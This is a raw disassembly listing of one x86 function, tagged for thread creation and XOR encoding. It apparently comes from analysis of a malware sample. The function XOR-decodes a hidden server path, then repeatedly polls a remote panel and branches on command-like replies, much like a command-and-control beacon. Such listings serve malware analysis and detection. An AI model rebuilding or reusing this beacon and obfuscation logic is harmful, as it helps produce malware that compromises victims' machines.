Function at 0x407bc0
Capabilities:
Create thread
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42885a
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x3e8
mov eax, dword [0x439018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
mov dword [ebp - 4], 1
call fcn.004163bc
add esp, 4
push eax
call fcn.00416276
add esp, 4
push 0
push 0
push 0
push 0x405240
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
mov dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x2c]
push str.SUB
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
call fcn.00402490
lea edx, [ebp - 0x2c]
mov byte [ebp - 4], 2
lea ecx, [ebx + 0x20]
call fcn.00406060
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x18]
cmp edx, 0x10
jb 0x407ca6
mov ecx, dword [ebp - 0x2c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407c9c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407d07
push edx
push ecx
call fcn.0040e213
add esp, 8
push 1
mov dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x2c]
push 0x435a38
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
call fcn.00402490
lea edx, [ebp - 0x2c]
mov byte [ebp - 4], 3
lea ecx, [ebx + 8]
call fcn.00406060
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x18]
cmp edx, 0x10
jb 0x407d16
mov ecx, dword [ebp - 0x2c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407d0c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x407d0c
call fcn.004127e7
push edx
push ecx
call fcn.0040e213
add esp, 8
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
jb 0x407d2b
mov edi, dword [ebx + 8]
mov ecx, edi
mov esi, dword [ebx + 0x18]
add esi, edi
jmp 0x407d34
lea esi, [ebx + 8]
add esi, dword [ebx + 0x18]
lea edi, [ebx + 8]
cmp edi, esi
je 0x407d5a
sub ecx, edi
mov dword [ebp - 0x324], ecx
movzx eax, byte [edi]
push eax
call fcn.0041638c
mov ecx, dword [ebp - 0x324]
add esp, 4
mov byte [edi + ecx], al
inc edi
cmp edi, esi
jne 0x407d40
call fcn.00404d30
mov edi, eax
mov dword [ebp - 0x328], edi
call fcn.00404660
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
mov edx, dword [ebx + 0x18]
cmovae ecx, dword [ebx + 8]
push 3
push 0x435a3c
push ecx
mov dword [ebp - 0x324], eax
call fcn.0040c5f0
add esp, 0xc
test eax, eax
jne 0x4080c7
push 0x148
push eax
lea eax, [ebp - 0x1d8]
push eax
call fcn.0040fdc0
add esp, 0xc
mov dword [ebp - 0x1cc], 0x435a20
mov dword [ebp - 0x1d4], 0x7a120
push 0x7a120
call fcn.0040e221
add esp, 4
mov dword [ebp - 0x1d8], eax
push dword [ebp - 0x1d4]
push 0
push eax
call fcn.0040fdc0
add esp, 0xc
mov dword [ebp - 0x1b4], 0xfde9
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0
mov byte [ebp - 4], 4
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x3c], 0x4f5e4d01
mov dword [ebp - 0x38], 0x434f4001
mov dword [ebp - 0x34], 0x465e004b
mov ecx, dword [eax]
mov eax, dword [0x43ae78]
mov word [ebp - 0x30], 0x2e5e
cmp eax, dword [ecx + 4]
jle 0x407e90
push 0x43ae78
call fcn.0040e35c
add esp, 4
cmp dword [0x43ae78], 0xffffffff
jne 0x407e90
mov eax, dword [ebp - 0x34]
movq xmm0, qword [ebp - 0x3c]
mov dword [0x43ad9c], eax
mov ax, word [ebp - 0x30]
push 0x4292f0
movq qword [0x43ad94], xmm0
mov word [0x43ada0], ax
call fcn.0040e783
add esp, 4
push 0x43ae78
call fcn.0040e312
add esp, 4
cmp byte [0x43ada1], 0
je 0x407ead
xor eax, eax
nop dword [eax + eax]
xor byte [eax + 0x43ad94], 0x2e
inc eax
cmp eax, 0xe
jb 0x407ea0
mov ecx, 0x43ad94
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407ed0
sub ecx, edx
push ecx
push 0x43ad94
lea ecx, [ebp - 0x5c]
call fcn.00402490
mov byte [ebp - 4], 5
mov eax, 0x43ad34
cmp dword [0x43ad48], 0x10
push dword [0x43ad44]
cmovae eax, dword [0x43ad34]
push eax
push ecx
lea ecx, [ebp - 0x5c]
call fcn.0040cb40
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x48]
cmp edx, 0x10
jb 0x407f7e
mov ecx, dword [ebp - 0x5c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407f74
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x407f74
call fcn.004127e7
push edx
push ecx
call fcn.0040e213
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
nop word [eax + eax]
cmp dword [ebp - 0x18], 0x10
lea esi, [ebp - 0x2c]
mov eax, dword [ebp - 0x1ac]
cmovae esi, dword [ebp - 0x2c]
mov dword [ebp - 0x1a4], 0
test eax, eax
je 0x407fd2
push eax
call fcn.0040dfe1
add esp, 4
mov dword [ebp - 0x1ac], 0
push esi
lea ecx, [ebp - 0x1d8]
call fcn.00401d50
test eax, eax
je 0x408075
mov edx, dword [ebp - 0x1b0]
xor eax, eax
cmp dword [ebp - 0x1a4], eax
mov dword [ebp - 0x44], eax
cmove edx, eax
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x44], al
mov eax, edx
mov dword [ebp - 0x30], 0xf
lea esi, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408010
sub eax, esi
lea ecx, [ebp - 0x44]
push eax
push edx
call fcn.00402490
mov byte [ebp - 4], 8
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 0x30]
cmp edx, 0x10
mov ecx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x34]
cmovae eax, ecx
cmp esi, 1
je 0x408081
cmp esi, 0x14
jb 0x40809a
mov byte [ebp - 4], 7
cmp edx, 0x10
jb 0x408075
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40806b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407d07
push edx
push ecx
call fcn.0040e213
add esp, 8
push 0xbb8
call edi
jmp 0x407fa0
movzx eax, byte [eax]
cmp al, 0x30
jne 0x40808c
xor eax, eax
jmp 0x408091
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40809a
call fcn.00405060
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebx + 8]
call fcn.0040b820
lea ecx, [ebp - 0x44]
call fcn.00402220
lea ecx, [ebp - 0x2c]
call fcn.00402220
lea ecx, [ebp - 0x1d8]
call fcn.00401700
mov edi, dword [ebp - 0x328]
lea ecx, [ebp - 0x44]
call fcn.0040b850
lea ecx, [ebp - 0x74]
call fcn.0040b850
lea ecx, [ebp - 0x5c]
call fcn.0040b850
mov byte [ebp - 4], 0xb
call fcn.004088c0
mov ecx, eax
call fcn.0040b4a0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040b640
lea ecx, [ebp - 0x2c]
mov esi, eax
call fcn.00402220
test esi, esi
jne 0x4081b1
push ecx
push str.mixone
lea ecx, [ebx + 8]
call fcn.004021a0
cmp eax, 0xffffffff
je 0x408154
call fcn.00408940
mov ecx, eax
call fcn.0040b4c0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x5c]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.004089d0
jmp 0x40817f
call fcn.00408a50
mov ecx, eax
call fcn.0040b4c0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x5c]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.00408ae0
mov ecx, eax
call fcn.0040b450
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x44]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
lea eax, [ebx + 8]
push eax
lea ecx, [ebp - 0x74]
call fcn.0040b820
jmp 0x408656
call fcn.00408b60
mov ecx, eax
call fcn.0040b430
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040b640
lea ecx, [ebp - 0x2c]
mov esi, eax
call fcn.00402220
test esi, esi
jne 0x4082b0
call fcn.00408be0
mov ecx, eax
call fcn.0040b430
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x5c]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.00408c60
mov ecx, eax
call fcn.0040b450
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x44]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.00408ce0
mov ecx, eax
call fcn.0040b4c0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040b640
lea ecx, [ebp - 0x2c]
mov esi, eax
call fcn.00402220
test esi, esi
jne 0x408278
call fcn.00408d70
mov ecx, eax
call fcn.0040b4a0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
lea ecx, [ebp - 0x74]
jmp 0x408648
call fcn.00408df0
mov ecx, eax
call fcn.0040b4c0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040b640
lea ecx, [ebp - 0x2c]
mov esi, eax
call fcn.00402220
test esi, esi
jne 0x408656
call fcn.00408e80
jmp 0x408260
call fcn.00408f00
mov ecx, eax
call fcn.0040b430
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040b640
lea ecx, [ebp - 0x2c]
mov esi, eax
call fcn.00402220
test esi, esi
jne 0x40839f
call fcn.00408f80
mov ecx, eax
call fcn.0040b430
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x5c]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.00409000
mov ecx, eax
call fcn.0040b450
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x44]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.00409080
mov ecx, eax
call fcn.0040b4c0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040b640
lea ecx, [ebp - 0x2c]
mov esi, eax
call fcn.00402220
test esi, esi
jne 0x408364
call fcn.00409110
jmp 0x408260
call fcn.00409190
mov ecx, eax
call fcn.0040b4c0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040b640
lea ecx, [ebp - 0x2c]
mov esi, eax
call fcn.00402220
test esi, esi
jne 0x408656
call fcn.00409220
jmp 0x408260
call fcn.004092a0
mov ecx, eax
call fcn.0040b410
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040b640
lea ecx, [ebp - 0x2c]
mov esi, eax
call fcn.00402220
test esi, esi
jne 0x4084b4
call fcn.00409320
mov ecx, eax
call fcn.0040b4a0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x5c]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.004093a0
mov ecx, eax
call fcn.0040b450
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x44]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.00409420
mov ecx, eax
call fcn.0040b410
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x74]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.004094a0
mov ecx, eax
call fcn.0040b4f0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040b640
lea ecx, [ebp - 0x2c]
mov esi, eax
call fcn.00402220
test esi, esi
jne 0x408479
call fcn.00409530
jmp 0x408260
call fcn.004095b0
mov ecx, eax
call fcn.0040b4f0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040b640
lea ecx, [ebp - 0x2c]
mov esi, eax
call fcn.00402220
test esi, esi
jne 0x408656
call fcn.00409640
jmp 0x408260
call fcn.004096c0
mov ecx, eax
call fcn.0040b3e0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040b640
lea ecx, [ebp - 0x2c]
mov esi, eax
call fcn.00402220
test esi, esi
jne 0x408537
call fcn.00409750
mov ecx, eax
call fcn.0040b450
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x44]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.004097d0
mov ecx, eax
call fcn.0040b4c0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x74]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.00409860
jmp 0x408635
call fcn.004098e0
mov ecx, eax
call fcn.0040b4c0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040b640
lea ecx, [ebp - 0x2c]
mov esi, eax
call fcn.00402220
test esi, esi
jne 0x4085b7
call fcn.00409970
mov ecx, eax
call fcn.0040b450
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x44]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.004099f0
mov ecx, eax
call fcn.0040b4a0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x74]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.00409a70
jmp 0x408635
call fcn.00409af0
mov ecx, eax
call fcn.0040b410
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push ecx
push eax
lea ecx, [ebx + 8]
call fcn.0040b640
lea ecx, [ebp - 0x2c]
mov esi, eax
call fcn.00402220
test esi, esi
jne 0x408656
call fcn.00409b70
mov ecx, eax
call fcn.0040b450
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x44]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.00409bf0
mov ecx, eax
call fcn.0040b4a0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
push eax
lea ecx, [ebp - 0x74]
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
call fcn.00409c70
mov ecx, eax
call fcn.0040b410
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
lea ecx, [ebp - 0x5c]
push eax
call fcn.00402270
lea ecx, [ebp - 0x2c]
call fcn.00402220
cmp dword [ebp - 0x324], 0
je 0x40866c
push 0x435a4c
lea ecx, [ebp - 0x74]
call fcn.004021f0
test edi, edi
je 0x40867d
push 0x435a50
lea ecx, [ebp - 0x74]
call fcn.004021f0
sub esp, 0x10
lea ecx, [ebp - 0x320]
push 0x435a20
call fcn.004016a0
mov byte [ebp - 4], 0xc
call fcn.00409e10
mov ecx, eax
call fcn.0040b4c0
push eax
lea ecx, [ebp - 0x3f4]
call fcn.004022f0
mov edi, eax
mov byte [ebp - 4], 0xd
call fcn.00409d90
mov ecx, eax
call fcn.0040b4a0
push eax
lea ecx, [ebp - 0x3dc]
call fcn.004022f0
mov esi, eax
mov byte [ebp - 4], 0xe
call fcn.00409cf0
mov ecx, eax
call fcn.0040b470
push eax
lea ecx, [ebp - 0x3c4]
call fcn.004022f0
push eax
mov edx, 0x43ad34
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x3ac]
call fcn.0040be40
add esp, 4
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x10
push ecx
mov edx, eax
lea ecx, [ebp - 0x394]
call fcn.0040bea0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x37c]
call fcn.0040bf50
add esp, 4
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x12
push ecx
mov edx, eax
lea ecx, [ebp - 0x364]
call fcn.0040bea0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x34c]
call fcn.0040bf50
add esp, 4
lea ecx, [ebx + 0x20]
mov byte [ebp - 4], 0x14
push ecx
mov edx, eax
lea ecx, [ebp - 0x8c]
call fcn.0040bea0
add esp, 4
lea ecx, [ebp - 0x34c]
call fcn.00402220
lea ecx, [ebp - 0x364]
call fcn.00402220
lea ecx, [ebp - 0x37c]
call fcn.00402220
lea ecx, [ebp - 0x394]
call fcn.00402220
lea ecx, [ebp - 0x3ac]
call fcn.00402220
lea ecx, [ebp - 0x3c4]
call fcn.00402220
lea ecx, [ebp - 0x3dc]
call fcn.00402220
lea ecx, [ebp - 0x3f4]
mov byte [ebp - 4], 0x1d
call fcn.00402220
nop
lea ecx, [ebp - 0x8c]
call fcn.004021e0
push eax
lea ecx, [ebp - 0x320]
call fcn.00402060
test eax, eax
je 0x408829
lea ecx, [ebp - 0x320]
call fcn.004020a0
push eax
lea ecx, [ebp - 0x2c]
call fcn.004022f0
mov edx, 0x435a40
lea ecx, [ebp - 0x2c]
call fcn.004025e0
test al, al
jne 0x408836
mov edx, 0x435a20
lea ecx, [ebp - 0x2c]
call fcn.004025e0
test al, al
jne 0x408836
lea ecx, [ebp - 0x2c]
call fcn.00402220
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4087d0
lea ecx, [ebp - 0x2c]
call fcn.00402220
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x330], esp
push eax
call fcn.0040b870
sub esp, 0x18
mov byte [ebp - 4], 0x1e
mov ecx, esp
mov dword [ebp - 0x334], esp
push 0x43ad4c
call fcn.0040b870
sub esp, 0x18
mov byte [ebp - 4], 0x1f
mov ecx, esp
push 0x43ad64
call fcn.0040b870
cmp dword [ebp - 0x328], 0
mov byte [ebp - 4], 0x1d
setne dl
cmp dword [ebp - 0x324], 0
setne cl
call fcn.00407240
add esp, 0x30
mov ecx, esp
push 0x43ad1c
call fcn.0040b870
call fcn.004060e0
add esp, 0x18
call fcn.00405060
int3